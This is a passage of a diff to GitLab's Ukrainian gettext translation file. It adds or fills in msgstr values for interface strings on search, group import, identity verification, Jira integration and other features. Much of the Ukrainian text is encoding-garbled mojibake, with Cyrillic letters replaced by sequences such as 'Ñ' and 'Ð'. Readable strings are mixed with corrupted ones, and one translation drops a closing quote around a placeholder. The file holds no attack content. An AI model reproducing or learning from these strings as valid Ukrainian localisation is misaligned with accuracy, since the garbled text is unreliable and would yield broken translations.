msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr "%{count} надано результати за замовчуваннÑм. ВикориÑтовуйте верхні та нижні клавіші зі Ñтрілками, щоб перейти до ÑпиÑку результатів пошуку."
+msgid "GlobalSearch|Close"
+msgstr "Закрити"
+
+msgid "GlobalSearch|Group"
+msgstr "Група"
+
msgid "GlobalSearch|Groups"
msgstr "Групи"
@@ -19143,6 +19333,9 @@ msgstr "Запити на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð¿Ñ€Ð¸Ð·Ð½Ð°Ñ‡ÐµÐ½Ñ– Ð´Ð»Ñ Ð¼ÐµÐ½Ðµ"
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr "Запити на злиттÑ, Ñкі Ñ Ð¾Ð³Ð»Ñдаю"
+msgid "GlobalSearch|Project"
+msgstr "Проєкт"
+
msgid "GlobalSearch|Projects"
msgstr "Проєкти"
@@ -19161,6 +19354,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr "Пошук"
+
msgid "GlobalSearch|Search GitLab"
msgstr "Пошук в GitLab"
@@ -19173,9 +19369,15 @@ msgstr "Результати пошуку завантажуютьÑÑ"
msgid "GlobalSearch|Settings"
msgstr "Параметри"
+msgid "GlobalSearch|Syntax options"
+msgstr "Параметри ÑинтакÑиÑу"
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr "Введіть та натиÑніть клавішу Enter Ð´Ð»Ñ Ð¿Ñ–Ð´Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð¿Ð¾ÑˆÑƒÐºÑƒ."
@@ -19384,7 +19586,7 @@ msgid "Google Cloud authorizations required"
msgstr "Потрібно авторизуватиÑÑ Ð² Google Cloud"
msgid "GoogleCloud|Cancel"
-msgstr ""
+msgstr "СкаÑувати"
msgid "GoogleCloud|Configured region is linked to the selected branch or tag"
msgstr ""
@@ -19405,7 +19607,7 @@ msgid "GoogleCloud|Google OAuth2 token revocation requested"
msgstr ""
msgid "GoogleCloud|I understand the responsibilities involved with managing service account keys"
-msgstr ""
+msgstr "Я розумію обов'Ñзки, пов'Ñзані з керуваннÑм ключами облікових запиÑів"
msgid "GoogleCloud|New service account is generated for the selected Google Cloud project"
msgstr ""
@@ -19500,6 +19702,12 @@ msgstr "Групу %{group_name} було призначено Ð´Ð»Ñ Ð²Ð¸Ð´Ð°Ð»
msgid "Group %{group_name} was successfully created."
msgstr "Групу %{group_name} уÑпішно Ñтворено."
+msgid "Group '%{group_name}' could not be updated."
+msgstr "Ðе вдалоÑÑ Ð¾Ð½Ð¾Ð²Ð¸Ñ‚Ð¸ групу '%{group_name}."
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr "Групу '%{group_name}' уÑпішно оновлено."
+
msgid "Group Access Tokens"
msgstr "Токени доÑтупу групи"
@@ -19662,8 +19870,8 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr "ÐÐµÑ‰Ð¾Ð´Ð°Ð²Ð½Ñ Ð°ÐºÑ‚Ð¸Ð²Ð½Ñ–ÑÑ‚ÑŒ"
-msgid "GroupImport|Failed to import group."
-msgstr "Ðе вдалоÑÑ Ñ–Ð¼Ð¿Ð¾Ñ€Ñ‚ÑƒÐ²Ð°Ñ‚Ð¸ групу."
+msgid "GroupImport|Failed to import group: %{error}"
+msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
msgstr "Група '%{group_name}' імпортуєтьÑÑ."
@@ -19999,7 +20207,7 @@ msgid "GroupSettings|If the parent group's visibility is lower than the group's
msgstr ""
msgid "GroupSettings|Members cannot invite groups outside of %{group} and its subgroups"
-msgstr ""
+msgstr "УчаÑники не можуть запрошувати групи за межами %{group} та Ñ—Ñ— підгруп"
msgid "GroupSettings|Organizations and contacts can be created and associated with issues."
msgstr ""
@@ -20032,10 +20240,10 @@ msgid "GroupSettings|Select parent group"
msgstr "Вибери батьківÑьку групу"
msgid "GroupSettings|Select the project containing the %{code_start}.gitlab/insights.yml%{code_end} file"
-msgstr ""
+msgstr "Виберіть проєкт, що міÑтить файл %{code_start}.gitlab/insights.yml%{code_end}"
msgid "GroupSettings|Select the project containing your custom Insights file. %{help_link_start}What is Insights?%{help_link_end}"
-msgstr ""
+msgstr "Виберіть проєкт, що міÑтить ваш влаÑний файл Insights.%{help_link_start}Що таке Insights?%{help_link_end}"
msgid "GroupSettings|Set a size limit for all content in each Pages site in this group. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -20145,9 +20353,15 @@ msgstr "Групи — це найкращий ÑпоÑіб керувати кÑ
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr "Ð Ð¾Ð·Ð¼Ñ–Ñ‰ÐµÐ½Ð½Ñ Ð¿Ñ€Ð¾Ñ”ÐºÑ‚Ñ–Ð² у групі Ñхоже на Ñ€Ð¾Ð·Ð¼Ñ–Ñ‰ÐµÐ½Ð½Ñ Ð² папці."
+msgid "GroupsEmptyState|No archived projects."
+msgstr "Ðемає архівованих проєктів."
+
msgid "GroupsEmptyState|No groups found"
msgstr "Групи не знайдені"
+msgid "GroupsEmptyState|No shared projects."
+msgstr "Ðемає Ñпільних проєктів."
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr "Ðемає підгруп чи проєктів."
@@ -20176,7 +20390,7 @@ msgid "GroupsNew|Contact an administrator to enable options for importing your g
msgstr "ЗвернітьÑÑ Ð´Ð¾ адмініÑтратора, щоб увімкнути параметри Ð´Ð»Ñ Ñ–Ð¼Ð¿Ð¾Ñ€Ñ‚Ñƒ вашої групи."
msgid "GroupsNew|Create a token with %{code_start}api%{code_end} and %{code_start}read_repository%{code_end} scopes in the %{pat_link_start}user settings%{pat_link_end} of the source GitLab instance. For %{short_living_link_start}security reasons%{short_living_link_end}, set a short expiration date for the token. Keep in mind that large migrations take more time."
-msgstr ""
+msgstr "Створіть токен з діапазонами %{code_start}api%{code_end} та %{code_start}read_repository%{code_end} у налаштуваннÑÑ… кориÑтувача %{pat_link_start}user%{pat_link_end} вихідного інÑтанÑу GitLab. З міркувань %{short_living_link_start}безпеки %{short_living_link_end}, вÑтановіть короткий термін дії токена. Майте на увазі, що великі міграції займають більше чаÑу."
msgid "GroupsNew|Create group"
msgstr "Створити групу"
@@ -20202,6 +20416,9 @@ msgstr "Імпортувати групу"
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr "Імпорт груп з іншого інÑтанÑа GitLab"
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr "Ð†Ð¼Ð¿Ð¾Ñ€Ñ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð³Ñ€ÑƒÐ¿ через прÑму передачу вимкнуто."
+
msgid "GroupsNew|No import options available"
msgstr "Ðемає доÑтупних параметрів імпорту"
@@ -20211,6 +20428,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr "ОÑобиÑтий токен доÑтупу"
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr "Будь лаÑка, %{admin_link_start}увімкніть його в налаштуваннÑÑ… адмініÑтратора%{admin_link_end}."
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr "Будь лаÑка, звернітьÑÑ Ð´Ð¾ Ñвого ÐдмініÑтратора з проханнÑм увімкнути Ñ—Ñ— в налаштуваннÑÑ… ÐдмініÑтратора."
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr "Будь лаÑка, заповніть вихідну URL-адреÑу GitLab."
@@ -20220,6 +20443,9 @@ msgstr "Будь лаÑка, заповніть ваш оÑобиÑтий ток
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr "Ð¦Ñ Ñ„ÑƒÐ½ÐºÑ†Ñ–Ñ Ð·Ð°Ñтаріла Ñ– замінена на %{docs_link_start}групову міграцію%{docs_link_end}."
@@ -20337,6 +20563,9 @@ msgstr "URL-адреÑа файлу HAR"
msgid "HAR file path or URL"
msgstr "ШлÑÑ… до файлу HAR або URL-адреÑа"
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20365,7 +20594,7 @@ msgid "HarborIntegration|Harbor project name"
msgstr ""
msgid "HarborIntegration|Harbor username"
-msgstr ""
+msgstr "Ð†Ð¼â€™Ñ ÐºÐ¾Ñ€Ð¸Ñтувача Harbor"
msgid "HarborIntegration|Leave blank to use your current password."
msgstr ""
@@ -20381,10 +20610,10 @@ msgstr ""
msgid "HarborRegistry|%d artifact"
msgid_plural "HarborRegistry|%d artifacts"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d артефакт"
+msgstr[1] "%d артефакти"
+msgstr[2] "%d артефактів"
+msgstr[3] "%d артефактів"
msgid "HarborRegistry|%{count} Image repository"
msgid_plural "HarborRegistry|%{count} Image repositories"
@@ -20547,7 +20776,7 @@ msgid "Help"
msgstr "Допомога"
msgid "Help translate GitLab into your language"
-msgstr ""
+msgstr "Допоможіть переклаÑти GitLab на вашу мову"
msgid "Helps prevent bots from brute-force attacks."
msgstr "Допомагає запобігти брутфорÑ-атакам від ботів."
@@ -20656,6 +20885,12 @@ msgstr "Чи Ñ–Ñнує фреймворк або тип робочого еле
msgid "Hierarchy|Planning hierarchy"
msgstr "Ð†Ñ”Ñ€Ð°Ñ€Ñ…Ñ–Ñ Ð¿Ð»Ð°Ð½ÑƒÐ²Ð°Ð½Ð½Ñ"
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr "Під Ñ‡Ð°Ñ Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ Ð´Ð¾Ñ‡Ñ–Ñ€Ð½ÑŒÐ¾Ð³Ð¾ елемента ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°."
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20897,7 +21132,7 @@ msgid "IdentityVerification|Before you finish creating your account, we need to
msgstr "Перед тим, Ñк ви завершите ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ð¾Ð±Ð»Ñ–ÐºÐ¾Ð²Ð¾Ð³Ð¾ запиÑу, нам потрібно підтвердити вашу оÑобу. Ðа Ñторінці Ð¿Ñ–Ð´Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð²Ð²ÐµÐ´Ñ–Ñ‚ÑŒ наÑтупний код."
msgid "IdentityVerification|Before you sign in, we need to verify your identity. Enter the following code on the sign-in page."
-msgstr ""
+msgstr "Перед тим, Ñк ви ввійдете в ÑиÑтему, нам потрібно підтвердити вашу оÑобу. Введіть наÑтупний код на Ñторінці входу."
msgid "IdentityVerification|Confirm your email address"
msgstr "Підтведіть Ñвою електронну адреÑу"
@@ -20909,7 +21144,7 @@ msgid "IdentityVerification|Didn't receive a code?"
msgstr "Ðе отримали код?"
msgid "IdentityVerification|Didn't receive a code? %{linkStart}Send a new code%{linkEnd}"
-msgstr ""
+msgstr "Ðе отримали код? %{linkStart}Ðадішліть новий код%{linkEnd}"
msgid "IdentityVerification|Enter a code."
msgstr "Введіть код."
@@ -20921,7 +21156,7 @@ msgid "IdentityVerification|For added security, you'll need to verify your ident
msgstr ""
msgid "IdentityVerification|For added security, you'll need to verify your identity. We've sent a verification code to %{email}"
-msgstr ""
+msgstr "Ð”Ð»Ñ Ð´Ð¾Ð´Ð°Ð²Ð°Ð½Ð½Ñ Ð±ÐµÐ·Ð¿ÐµÐºÐ¸ вам потрібно підтвердити вашу оÑобу. Ми надіÑлали код Ð¿Ñ–Ð´Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð½Ð° %{email}"
msgid "IdentityVerification|GitLab will not charge or store your payment information, it will only be used for verification."
msgstr ""
@@ -20930,22 +21165,22 @@ msgid "IdentityVerification|Help us keep GitLab secure"
msgstr ""
msgid "IdentityVerification|Help us protect your account"
-msgstr ""
+msgstr "Допоможіть нам захиÑтити ваш обліковий запиÑ"
msgid "IdentityVerification|If you have not recently tried to sign into GitLab, we recommend %{password_link_start}changing your password%{link_end} and %{two_fa_link_start}setting up Two-Factor Authentication%{link_end} to keep your account safe. Your verification code expires after %{expires_in_minutes} minutes."
msgstr ""
msgid "IdentityVerification|If you have not recently tried to sign into GitLab, we recommend changing your password (%{password_link}) and setting up Two-Factor Authentication (%{two_fa_link}) to keep your account safe."
-msgstr ""
+msgstr "Якщо ви не нещодавно намагалиÑÑ ÑƒÐ²Ñ–Ð¹Ñ‚Ð¸ в GitLab, ми рекомендуємо змінити пароль (%{password_link}) Ñ– вÑтановити двофакторну автентифікацію (%{two_fa_link}), щоб зберегти Ñвій обліковий Ð·Ð°Ð¿Ð¸Ñ Ñƒ безпеці."
msgid "IdentityVerification|If you've lost access to the email associated to this account or having trouble with the code, %{link_start}here are some other steps you can take.%{link_end}"
-msgstr ""
+msgstr "Якщо ви втратили доÑтуп до електронної пошти, прив'Ñзаної до цього облікового запиÑу, або маєте проблеми з кодом, %{link_start}тут Ñ” деÑкі інші кроки, Ñкі ви можете зробити.%{link_end}"
msgid "IdentityVerification|International dial code"
msgstr ""
msgid "IdentityVerification|Maximum login attempts exceeded. Wait %{interval} and try again."
-msgstr ""
+msgstr "МакÑимальна кількіÑÑ‚ÑŒ Ñпроб входу перевищена. Зачекайте %{interval} Ñ– Ñпробуйте ще раз."
msgid "IdentityVerification|Phone number"
msgstr "Ðомер телефону"
@@ -20963,7 +21198,7 @@ msgid "IdentityVerification|Please enter a valid code"
msgstr ""
msgid "IdentityVerification|Resend code"
-msgstr ""
+msgstr "Повторно надіÑлати код"
msgid "IdentityVerification|Send a new code"
msgstr "ÐадіÑлати новий код"
@@ -20990,19 +21225,19 @@ msgid "IdentityVerification|The code is incorrect. Enter it again, or send a new
msgstr "Код хибний. Введіть його ще раз або надішліть новий код."
msgid "IdentityVerification|Verification code"
-msgstr ""
+msgstr "Код перевірки"
msgid "IdentityVerification|Verification code can't be blank."
-msgstr ""
+msgstr "Код перевірки не може бути порожнім."
msgid "IdentityVerification|Verification code must be a number."
-msgstr ""
+msgstr "Код перевірки має бути чиÑлом."
msgid "IdentityVerification|Verification successful"
-msgstr ""
+msgstr "Перевірка уÑпішна"
msgid "IdentityVerification|Verify code"
-msgstr ""
+msgstr "Перевірити код"
msgid "IdentityVerification|Verify email address"
msgstr "Підтвердити адреÑу електронної пошти"
@@ -21011,13 +21246,13 @@ msgid "IdentityVerification|Verify payment method"
msgstr "Підтвердьте ÑпоÑіб оплати"
msgid "IdentityVerification|Verify phone number"
-msgstr ""
+msgstr "Підтвердити номер телефону"
msgid "IdentityVerification|Verify your identity"
msgstr "Підтвердити Ñвою оÑобу"
msgid "IdentityVerification|We sent a new code to +%{phoneNumber}"
-msgstr ""
+msgstr "Ми надіÑлали новий код на +%{phoneNumber}"
msgid "IdentityVerification|We've sent a verification code to +%{phoneNumber}"
msgstr ""
@@ -21070,9 +21305,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr "Якщо опції не вибрані, реєÑтрувати учаÑників можуть лише адмініÑтратори."
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr "Якщо жоден із варіантів не працює, Ñпробуйте зв’ÑзатиÑÑ Ð· адмініÑтратором GitLab."
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr "Якщо кількіÑÑ‚ÑŒ активних кориÑтувачів перевищує ліміт кориÑтувачів, то за наÑтупної звірки ліцензії з Ð²Ð°Ñ Ð±ÑƒÐ´Ðµ знÑто плату за кількіÑÑ‚ÑŒ %{users_over_license_link}."
@@ -21094,6 +21326,9 @@ msgstr "При викориÑтанні GitHub, ви побачите Ñтату
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr "Якщо вам не вдалоÑÑ ÑƒÐ²Ñ–Ð¹Ñ‚Ð¸ або відновити пароль, звернітьÑÑ Ð´Ð¾ адмініÑтратора GitLab."
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -21104,13 +21339,13 @@ msgid "If you did not perform this request, you can safely ignore this email."
msgstr ""
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
-msgstr ""
+msgstr "Якщо ви нещодавно не входили в ÑиÑтему, вам Ñлід негайно %{password_link_start}змінити пароль %{password_link_end}."
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
-msgstr ""
+msgstr "Якщо ви нещодавно не входили в ÑиÑтему, вам Ñлід негайно змінити Ñвій пароль: %{password_link}."
msgid "If you did not recently try to sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
-msgstr ""
+msgstr "Якщо ви нещодавно не намагалиÑÑ Ð²Ð²Ñ–Ð¹Ñ‚Ð¸, вам Ñлід негайно %{password_link_start}змінити Ñвій пароль%{password_link_end}."
msgid "If you did not recently try to sign in, you should immediately change your password: %{password_link}."
msgstr "Якщо ви нещодавно не входили в ÑиÑтему, вам Ñлід негайно змінити Ñвій пароль: %{password_link}."
@@ -21122,7 +21357,7 @@ msgid "If you lose your recovery codes you can generate new ones, invalidating a
msgstr "Якщо ви втратите коди відновленнÑ, ви можете Ñтворити нові, Ñ– вÑÑ– попередні коди Ð²Ñ–Ð´Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð±ÑƒÐ´ÑƒÑ‚ÑŒ недійÑними."
msgid "If you recently signed in and recognize the IP address, you may disregard this email."
-msgstr ""
+msgstr "Якщо ви нещодавно ввійшли та впізнали цю IP-адреÑу, ви можете проігнорувати цей лиÑÑ‚."
msgid "If you recently tried to sign in, but mistakenly entered a wrong two-factor authentication code, you may ignore this email."
msgstr ""
@@ -21318,12 +21553,24 @@ msgstr "Розширені Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ñ–Ð¼Ð¿Ð¾Ñ€Ñ‚Ñƒ"
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr "Заблокований URL Ð´Ð»Ñ Ñ–Ð¼Ð¿Ð¾Ñ€Ñ‚Ñƒ: %{message}"
+msgid "ImportProjects|Cancel import"
+msgstr "СкаÑувати імпорт"
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr "Помилка при імпортуванні репозиторію %{project_safe_import_url} в %{project_full_path} - %{message}"
msgid "ImportProjects|Import repositories"
msgstr "Імпортувати репозиторії"
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr "Ð†Ð¼Ð¿Ð¾Ñ€Ñ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð¿Ñ€Ð¾Ñ”ÐºÑ‚Ñƒ невдале"
@@ -21596,7 +21843,7 @@ msgid "InProductMarketing|GitLab is infrastructure agnostic (supporting GCP, AWS
msgstr ""
msgid "InProductMarketing|GitLab provides static application security testing (SAST), dynamic application security testing (DAST), container scanning, and dependency scanning to help you deliver secure applications along with license compliance."
-msgstr ""
+msgstr "GitLab забезпечує теÑÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð±ÐµÐ·Ð¿ÐµÐºÐ¾ÑŽ Ñтатичного заÑтоÑунку (SAST), динамічне теÑÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð±ÐµÐ·Ð¿ÐµÐºÐ¸ заÑтоÑунків (DAST), ÑÐºÐ°Ð½ÑƒÐ²Ð°Ð½Ð½Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ¹Ð½ÐµÑ€Ñ–Ð², Ñ– ÑÐºÐ°Ð½ÑƒÐ²Ð°Ð½Ð½Ñ Ð·Ð°Ð»ÐµÐ¶Ð½Ð¾Ñтей Ð´Ð»Ñ Ð·Ð°Ð±ÐµÐ·Ð¿ÐµÑ‡ÐµÐ½Ð½Ñ Ð±ÐµÐ·Ð¿ÐµÑ‡Ð½Ð¸Ñ… заÑтоÑунків разом з відповідніÑÑ‚ÑŽ ліцензії."
msgid "InProductMarketing|GitLab's CI/CD makes software development easier. Don't believe us? Here are three ways you can take it for a fast (and satisfying) test drive:"
msgstr "GitLab's CI/CD Ñпрощує розробку програмного забезпеченнÑ. Ðе вірите нам? ОÑÑŒ вам три ÑпоÑоби Ð´Ð»Ñ ÑˆÐ²Ð¸Ð´ÐºÐ¾Ð³Ð¾ (Ñ– приємного) теÑÑ‚-драйву:"
@@ -21920,7 +22167,7 @@ msgid "InProductMarketing|test and deploy"
msgstr "теÑтуйте та розгортайте"
msgid "InProductMarketing|testing browser performance"
-msgstr ""
+msgstr "теÑÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð¿Ñ€Ð¾Ð´ÑƒÐºÑ‚Ð¸Ð²Ð½Ð¾ÑÑ‚Ñ– браузера"
msgid "InProductMarketing|unsubscribe"
msgstr "відпиÑатиÑÑ"
@@ -22274,7 +22521,7 @@ msgid "Indicates whether this runner can pick jobs without tags"
msgstr "Вказує на те, чи може даний раннер виконувати Ð·Ð°Ð²Ð´Ð°Ð½Ð½Ñ Ð±ÐµÐ· тегів"
msgid "Info"
-msgstr ""
+msgstr "Деталі"
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr "ПовідомлÑти кориÑтувачам без клічів SSH, що без них вони не зможуть відправлÑти код через SSH"
@@ -22384,7 +22631,7 @@ msgstr "СтатиÑтика (Insights)"
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22443,14 +22690,23 @@ msgid "IntegrationEvents|A comment is added on a confidential issue"
msgstr ""
msgid "IntegrationEvents|A comment is added on an issue"
-msgstr ""
+msgstr "Коментар додаєтьÑÑ Ð´Ð¾ задачі"
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22601,6 +22857,9 @@ msgstr "Включає назву коміту та гілки."
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr "Деталі інтеграції"
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23038,7 +23297,7 @@ msgid "InviteMembersModal|You only have space for %{count} more %{members} in %{
msgstr ""
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
-msgstr ""
+msgstr "Ви запрошуєте групу в %{strongStart}%{name}%{strongEnd} групу."
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
@@ -23458,7 +23717,7 @@ msgid "Issue|Title"
msgstr "Ðазва"
msgid "It looks like you have some draft commits in this branch."
-msgstr ""
+msgstr "Схоже, у Ð²Ð°Ñ Ñ” кілька чернеток комітів у цій гілці."
msgid "It looks like you're attempting to activate your subscription. Use %{a_start}the Subscription page%{a_end} instead."
msgstr ""
@@ -23805,6 +24064,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23853,6 +24115,9 @@ msgstr "Ідентифікатори повинні мати виглÑд Ñпи
msgid "JiraService|If different from Web URL."
msgstr "Якщо відрізнÑєтьÑÑ Ð²Ñ–Ð´ URL-адреÑи Web."
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr "Задачі, Ñтворені із вразливоÑтей у цьому проєкті, будуть задачами Jira, навіть Ñкщо задачі GitLab будуть увімкнені."
@@ -23902,7 +24167,7 @@ msgid "JiraService|Sign in to GitLab.com to get started."
msgstr ""
msgid "JiraService|This feature requires a Premium plan."
-msgstr ""
+msgstr "Ð”Ð»Ñ Ñ†Ñ–Ñ”Ñ— функції потрібен план Premium."
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -23923,7 +24188,7 @@ msgid "JiraService|Username or Email"
msgstr "Ð†Ð¼â€™Ñ ÐºÐ¾Ñ€Ð¸Ñтувача або адреÑа електронної пошти"
msgid "JiraService|Using Jira for issue tracking?"
-msgstr ""
+msgstr "Чи викориÑтовуєтьÑÑ Jira Ð´Ð»Ñ Ð²Ñ–Ð´ÑÑ‚ÐµÐ¶ÐµÐ½Ð½Ñ Ð·Ð°Ð´Ð°Ñ‡?"
msgid "JiraService|Warning: All GitLab users with access to this GitLab project can view all issues from the Jira project you select."
msgstr ""
@@ -23997,9 +24262,6 @@ msgstr ""
msgid "Jobs|All"
msgstr "Ð’ÑÑ–"
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -24139,7 +24401,7 @@ msgid "Job|Scroll to top"
msgstr "Прокрутити вгору"
msgid "Job|Search for substrings in your job log output. Currently search is only supported for the visible job log output, not for any log output that is truncated due to size."
-msgstr ""
+msgstr "Пошук підрÑдків у виведенні журналу завдань. Ð’ даний Ñ‡Ð°Ñ Ð¿Ð¾ÑˆÑƒÐº підтримуєтьÑÑ Ñ‚Ñ–Ð»ÑŒÐºÐ¸ Ð´Ð»Ñ Ð²Ð¸Ð´Ð¸Ð¼Ð¾Ð³Ð¾ виводу журналу завдань, а не Ð´Ð»Ñ Ð±ÑƒÐ´ÑŒ-Ñкого виводу журналу, Ñкий урізаний через розмір."
msgid "Job|Search job log"
msgstr "Пошук журналу завдань"
@@ -24315,9 +24577,6 @@ msgstr "КлаÑтери Kubernetes"
msgid "Kubernetes cluster"
msgstr "КлаÑтер Kubernetes"
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr "ÐŸÐµÑ€ÐµÐ²Ð¸Ñ‰ÐµÐ½Ð½Ñ Ð»Ñ–Ð¼Ñ–Ñ‚Ñƒ чаÑу при Ñтворенні Kubernetes-клаÑтера; %{timeout}"
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr "Ð†Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ñ–Ñ Ñ–Ð· Kubernetes-клаÑтером та реÑурÑи зараз видалÑÑŽÑ‚ÑŒÑÑ."
@@ -24482,9 +24741,6 @@ msgstr "ОÑтанній Конвеєр"
msgid "Last Seen"
msgstr "ВоÑтаннє переглÑнуте"
-msgid "Last Sync"
-msgstr "ОÑÑ‚Ð°Ð½Ð½Ñ ÑинхронізаціÑ"
-
msgid "Last Used"
msgstr "ОÑтаннє викориÑтаннÑ"
@@ -24617,6 +24873,9 @@ msgstr "ДізнатиÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ"
msgid "Learn More."
msgstr "Прочитати більше."
+msgid "Learn about signing commits"
+msgstr "ДізнатиÑÑ Ð¿Ñ€Ð¾ підпиÑÑƒÐ²Ð°Ð½Ð½Ñ ÐºÐ¾Ð¼Ñ–Ñ‚Ñ–Ð²"
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24686,9 +24945,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr "Докладніше про підпиÑÑƒÐ²Ð°Ð½Ð½Ñ ÐºÐ¾Ð¼Ñ–Ñ‚Ñ–Ð²"
-
msgid "Learn more in the"
msgstr "ДізнайтеÑÑŒ більше"
@@ -24831,7 +25087,7 @@ msgid "Legacy burndown chart"
msgstr ""
msgid "Legacy license"
-msgstr ""
+msgstr "ЗаÑтаріла ліцензіÑ"
msgid "Less Details"
msgstr ""
@@ -25158,7 +25414,7 @@ msgid "LinkedResources|Error deleting the linked resource for the incident: %{er
